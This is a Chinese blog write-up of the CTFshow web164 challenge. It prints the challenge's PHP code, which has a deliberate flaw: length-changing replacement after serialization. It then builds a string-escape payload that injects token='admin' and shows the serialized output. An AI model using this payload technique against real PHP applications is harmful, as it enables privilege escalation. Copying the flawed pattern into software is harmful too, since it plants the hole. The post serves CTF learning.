首页 > 其他分享 >13. CTFshow 反序列化 web164

13. CTFshow 反序列化 web164

时间:2023-02-03 12:01:31浏览次数:50  
标签:13 admin web164 token msg 长度 message 序列化

PHP反序列化字符串逃逸,不难,但是有点绕。奈何自己太菜,又不懂PHP代码,磨蹭了半天,才搞懂。如有不对的地方还望斧正。

一、代码

index.php

<?php

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

二、解题步骤

新学习到的知识点

  1. PHP反序列化时,底层代码是以; 分号作为字段的分隔,以}花括号作为结尾,并且时根据长度判断内容的。
  2. PHP反序列化字符串逃逸:类似注入,通过拼接,提前闭合这种思想构造字符串。
  3. 个人理解:使用payload进行提前闭合,但是提前闭合会缺少字符,这个时候就需要用到字符串逃逸来增加字符。

理解如下:

<?php class message{
    public $to='1';
    public $token='admin';
    }
$msg= serialize(new message);
print_r($msg);
//O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
  1. 比如正常值:O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
  2. to的值:s:2:"to";s:1:"1";to的值长度和值都是1
  3. 如果这个时候我们把to 的值进行提前闭合。(也就是用payload进行闭合,在考虑到";} 三个字符)把to的值进行替换1";s:5:"token";s:5:"admin";} 加上三个字符,长度正好是27位。如下:
<?php class message{
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='admin';
    }
$msg= serialize(new message);
print_r($msg);
  1. 序列化之后的结果:O:7:"message":2:{s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
  2. 仔细看,tos:28:"1"; 的长度是28位 但是它的值只有1位 ,缺少27位 。如果这样进行反序列化时会报错的。
  3. 想一下,to 的值是1 ,如果1 变成aa ,这样的就缺少26位 ,如果有27个1 ,那么就不会因为缺少值而反序列化失败。然后就会正常读取到payload:s:5:"token";s:5:"admin";}

回到代码

  1. 获取flag前提token='admin',题目中的值是user。还有$umsg=str_replace('fuck','loveU',serialize($msg));,将序列化之后的fuck 替换成5个字符串长度的loveU (这里和1替换aa是一个意思。),然后在将反序列化的结果去比较token='admin'

三、payload

<?php class message{
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='admin';
    }
$msg= serialize(new message);
echo $msg;

echo "\n";
//替换前后的区别

$msg = str_replace('fuck', 'loveU', ($msg));
echo $msg;
  1. 替换之前结果:O:7:"message":2:{s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";} ,长度是136,实际长度是109缺少27个字符。
  2. 替换之后结果::7:"message":2:{s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";},长度是136,实际长度是136,不缺少字符,可正常反序列化。

学习连接:https://blog.csdn.net/weixin_45669205/article/details/114163197

标签:13,admin,web164,token,msg,长度,message,序列化
From: https://www.cnblogs.com/LuckMeteor/p/17088689.html

相关文章

  • 9. CTFshow 反序列化 web160
    一、代码<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ech......
  • Codeforces 1360 D. Buying Shovels
    题意:要买个铲子,商店中有中不同的卖法,依次每一次卖到个铲子,现在只能选择其中的一种买法,问最少买几次同一种的买法,使得刚好买到直接选择小于的AC代码:intn,m,k;......
  • Codeforces 1360 E. Polygon
    题意:在一个的网格上方和左边都有一排大炮,每次可以发射一个,遇到边界和都会停下来,有没有一种发射频率可以组成给出的大炮的位置在左和上,所以每个非右边界或者下边界的......
  • Codeforces 1358 C. Celex Update
    题意:一个矩形内有多个方格,每个方格都按照顺序填写了一些数。给两个坐标,求这两个坐标间路径经过的数字和不同的路线总数。可以看出比如要从走到,这两种走法和第二个比......
  • Codeforces 1354 D. Multiset(树状数组)
    题意;要你实现一个求第k大数的数据结构。树状数组模板题。AC代码:constintN=1e6+50;inta[N];intn,q;voidadd(intp,intval){while(p<=n){a[p]+=va......
  • freebsd13在t430i上安装,2023.02.03
    一、系统安装1,freebsd.org下载stick.img2,写u盘3,u盘启动安装(bsdinstall,sysinstall)二、无线网络1,rc.conf增加wlans_rtwn0="wlan0"......
  • CodeForeces 1202D Print a 1337-string(构造)
    求能组成1337这个序列的串最短的串是什么这道题我们很容易想到组合数,我可以有限考虑选择3,因为只有3是两个,这样可以使这个串尽可能的短。但是选择3是不能满足我们组成任意个......
  • P8297 [COCI2012-2013#2] LANCI
    宇宙安全声明:本题解采取感谢证明+理性理解方式讲解,包含若干手模。题面:P8297感性证明:先模拟下样例二:打开3最右边一节,连接5和7;打开3-1最右边一节,连接4和9;......
  • P1980 [NOIP2013 普及组] 计数问题
    题目链接:https://www.luogu.com.cn/problem/P1980术语以下的英文术语均可以翻译为数字。digit:一个数字字符,十进制就是0-9之间的一个字符;numeral:用来表示数字的......
  • 序列化高级用法之定制字段的方式,多表关联之反序列化,反序列化字段校验
    序列化高级用法之source(了解)数据准备#models.pyfromdjango.dbimportmodels#Createyourmodelshere.classBook(models.Model):name=models.CharFie......